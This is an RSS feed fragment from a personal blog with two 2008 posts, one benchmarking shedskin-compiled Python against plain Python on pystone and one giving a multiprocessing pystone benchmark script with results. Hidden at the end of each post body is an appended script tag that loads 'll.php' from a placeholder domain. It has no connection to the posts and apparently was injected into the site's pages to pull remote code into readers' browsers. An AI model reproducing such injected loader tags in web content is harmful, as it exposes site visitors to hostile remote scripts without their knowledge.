		<title>More pystones with shedskin</title>
		<link>http://www.anderswallin.net/2008/06/more-pystones-with-shedskin/</link>
		<comments>http://www.anderswallin.net/2008/06/more-pystones-with-shedskin/#comments</comments>
		<pubDate>Mon, 23 Jun 2008 21:02:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=462</guid>
		<description><![CDATA[As I'm very much an amateur programmer with not too much time to learn new stuff I've decided my CAM-algorithms are going to be written in Python (don't hold your breath, they'll be online when they'll be online...). The benefits of rapid development will more than outweigh the performance issues of Python at this stage. [...]]]></description>
			<content:encoded><![CDATA[<p>As I'm very much an amateur programmer with not too much time to learn new stuff I've decided my CAM-algorithms are going to be written in Python (don't hold your breath, they'll be online when they'll be online...). The benefits of rapid development will more than outweigh the performance issues of Python at this stage.</p>
<p>But then I found Mark Dufour's project <a href="http://code.google.com/p/shedskin/">shedskin</a> (see also <a href="http://shed-skin.blogspot.com/">blog here</a> and <a href="http://mark.dufour.googlepages.com/shedskin.pdf">Mark's MSc thesis here</a>), a Python to C++ compiler! Can you have the best of both worlds? Develop and debug your code interactively with Python and then, when you're happy with it, translate it automagically over to C++ and have it run as fast as native code?</p>
<p>Well, shedskin doesn't support any and all python constructs (yet?), and only a limited number of modules from the standard library are supported. But still I think it's a pretty cool tool. For someone who doesn't look forward to learning C++ from the ground up typing '<code>shedskin -e myprog.py</code>' followed by '<code>make</code>' is just a very simple way to create fast python extensions! As a test, I ran shedskin on the pystone benchmark and called both the python and c++ version from my <a href="http://www.anderswallin.net/2008/06/multiprocessing-pystone-benchmark/">multiprocessing test-code</a>:</p>
<p>Python version</p>
<pre>
Processes	Pystones	Wall time	pystones/s	Speedup
1		50000		0.7		76171		1.0X
2		100000		0.7		143808		1.9X
3		150000		0.7		208695		2.7X
4		200000		0.8		264410		3.5X
5		250000		1.0		244635		3.2X
6		300000		1.2		259643		3.4X
</pre>
<p>'shedskinned' C++ version</p>
<pre>
Processes	Pystones	Wall time		pystones/s	Speedup
1		5000000			2.9		1696625		1.0X
2		10000000		3.1		3234625		1.9X
3		15000000		3.1		4901829		2.9X
4		20000000		3.4		5968676		3.5X
5		25000000		4.4		5714151		3.4X
6		30000000		5.1		5890737		3.5X
</pre>
<p>A speedup of around 20x.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/06/more-pystones-with-shedskin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>multiprocessing pystone benchmark</title>
		<link>http://www.anderswallin.net/2008/06/multiprocessing-pystone-benchmark/</link>
		<comments>http://www.anderswallin.net/2008/06/multiprocessing-pystone-benchmark/#comments</comments>
		<pubDate>Sun, 15 Jun 2008 19:40:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=447</guid>
		<description><![CDATA[A simple pystone benchmark using the python multiprocessing package. Seems to scale quite well - guess how many cores my machine has! " Simple multiprocessing test.pystones benchmark " " Anders Wallin 2008Jun15 anders.e.e.wallin (at) gmail.com " from test import pystone import processing import time STONES_PER_PROCESS= 10*pystone.LOOPS def f(q): t=pystone.pystones(STONES_PER_PROCESS) q.put(t,block=True) if __name__ == '__main__': print [...]]]></description>
			<content:encoded><![CDATA[<p>A simple pystone benchmark using the python <a href="http://www.python.org/dev/peps/pep-0371/">multiprocessing</a> package. Seems to scale quite well - guess how many cores my machine has! <img src='http://www.anderswallin.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<pre><code>
" Simple multiprocessing test.pystones benchmark "
" Anders Wallin 2008Jun15 anders.e.e.wallin (at) gmail.com "
from test import pystone
import processing
import time

STONES_PER_PROCESS= 10*pystone.LOOPS

def f(q):
    t=pystone.pystones(STONES_PER_PROCESS)
    q.put(t,block=True)

if __name__ == '__main__':
    print 'multiprocessing test.pystones() benchmark'
    print 'You have '+str(processing.cpuCount()) + ' CPU(s)'
    print 'Processes\tPystones\tWall time\tpystones/s'

    results = processing.Queue()
    for N in range(1,processing.cpuCount()+3):
        p=[]
        q=processing.Queue()
        results=[]

        for m in range(1,N+1):
            p.append( processing.Process(target=f,args=(q,)) )

        start=time.time()
        for pr in p:
            pr.start()
        for r in p:
            results.append( q.get() )
        stop=time.time()

        cputime = stop-start

        print str(N)+'\t\t'+str(N*STONES_PER_PROCESS) \
              +'\t\t'+ str(cputime)+'\t'+str( N*STONES_PER_PROCESS / cputime )
</code></pre>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2008/06/multi31.png"><img class="alignnone size-medium wp-image-449" title="multi31" src="http://www.anderswallin.net/wp-content/uploads/2008/06/multi31.png" alt="" width="450" height="336" /></a><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/06/multiprocessing-pystone-benchmark/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

